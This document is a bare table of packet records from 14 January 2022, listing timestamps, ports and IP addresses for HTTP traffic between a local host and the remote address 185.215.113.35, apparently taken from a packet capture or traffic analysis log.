Jan 14, 2022 09:26:04.088716030 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.088885069 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.088900089 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.089061022 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.089077950 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.089236975 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.089256048 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.089484930 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.089503050 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.089612007 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.089627981 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.089812040 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.089828968 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.089983940 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.089998007 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.090092897 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.090204954 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.090307951 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.090656996 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.090678930 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.090858936 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.090877056 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.090969086 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.091147900 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.091166019 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.091331959 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.091345072 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.091509104 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.091526031 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.091700077 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.091715097 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.091876984 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.091895103 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.092076063 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.092089891 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.092262983 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.092279911 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.092446089 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.092461109 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.092627048 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.092643976 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.092811108 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.092828989 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.092988968 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.093003035 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.093182087 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.093199015 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.093369007 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.093385935 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.093552113 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.093568087 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.093733072 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.093750000 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.093925953 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.093940020 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.094160080 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.094175100 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.094496965 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.094504118 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.094626904 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.094635963 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.094676971 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.094685078 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.094852924 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.096364975 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.098897934 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.098934889 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.098965883 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.098999023 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.099029064 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.099052906 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.099139929 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.105789900 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.105938911 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.106015921 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.106108904 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.106198072 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.106379032 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.106609106 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.106623888 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.106766939 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.106787920 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.106940031 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.106957912 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.107089043 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.107234001 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.107249975 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.107337952 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.107580900 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.107698917 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.107954979 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.107974052 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.108088017 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.108107090 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.108298063 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.108477116 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.108495951 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.108676910 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.108695030 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.108877897 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.108900070 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.109076023 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.109093904 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.109271049 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.109287024 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.109463930 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.109481096 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.109633923 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.109648943 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.109839916 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.109857082 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.110028982 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.110034943 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.110213995 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.110234022 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.110402107 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.110418081 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.110584021 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.110593081 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.110774040 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.110790014 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.110869884 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.111149073 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.111166954 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.111336946 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.111354113 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.111432076 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.111567020 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.111816883 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.111836910 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.111933947 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.112163067 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.112179041 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.112348080 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.112364054 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.112554073 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.112567902 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.112725019 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.112742901 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.112900019 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.112914085 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.113066912 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.113087893 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.113239050 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.113254070 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.113415956 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.113436937 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.113580942 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.113600016 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.113785028 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.113801003 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.113977909 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.113986969 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.114168882 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.114187002 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.114356995 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.114371061 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.114540100 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.114556074 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.114731073 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.114744902 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.114916086 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.114936113 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.115108013 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.115124941 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.115294933 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.115310907 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.115509987 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.115525961 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.116102934 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.120218039 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.142426968 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.148725033 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.148740053 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.149053097 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.149497032 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.149523020 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.149635077 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.149766922 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.149785042 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.150682926 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.150794029 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.158498049 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.161751032 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.163301945 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.164186001 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.164201975 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.164582968 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.164771080 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.164913893 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.164932013 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.165164948 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.165338039 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.165354967 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.165607929 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.165751934 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.166002989 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.166126013 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.166414976 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.166461945 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.166477919 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.166676998 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.166692972 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.166961908 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.167129040 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.167145967 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.167299986 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.167315006 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.167474985 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.167490959 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.167660952 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.167679071 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.167855978 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.167870045 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.168036938 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.168042898 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.168092966 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.168201923 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.168219090 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.168382883 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.168400049 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.168560028 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.168575048 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.168667078 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.168925047 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.168941975 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.168948889 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.169311047 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.169317007 CET	49893	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.169325113 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.169531107 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.169539928 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.169799089 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.169809103 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.170039892 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.170047998 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.170283079 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.170289993 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.170527935 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.170537949 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.170665026 CET	49915	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.170833111 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.170841932 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.170847893 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.171005964 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.171011925 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.171181917 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.171200037 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.171354055 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.171370029 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.171529055 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.171545982 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.171701908 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.171717882 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.171879053 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.171888113 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.171930075 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.172012091 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.172156096 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.172162056 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.172318935 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.172333956 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.172497034 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.172513962 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.172693968 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.172709942 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.172799110 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.172931910 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.173048019 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.173194885 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.173263073 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.173418999 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.173516035 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.173609972 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.173721075 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.173928976 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.174098015 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.174284935 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.175298929 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.175681114 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.176845074 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.179815054 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.188564062 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.188591003 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.188765049 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.188781023 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.188945055 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.188961029 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.189140081 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.189155102 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.189316988 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.189332962 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.189502954 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.189517021 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.189683914 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.189701080 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.189879894 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.189896107 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.190061092 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.190077066 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.190234900 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.190248966 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.190413952 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.190429926 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.190599918 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.190612078 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.190773010 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.190788031 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.190963030 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.190980911 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.191138029 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.191154957 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.191322088 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.191343069 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.191493988 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.191512108 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.191683054 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.191696882 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.191855907 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.191864014 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.192042112 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.192051888 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.192238092 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.192246914 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.192404032 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.192410946 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.192594051 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.192601919 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.192761898 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.192775965 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.192966938 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.192980051 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.193119049 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.193134069 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.193325996 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.193336964 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.193476915 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.193490028 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.193789005 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.193800926 CET	49891	80	192.168.2.4	185.215.113.35
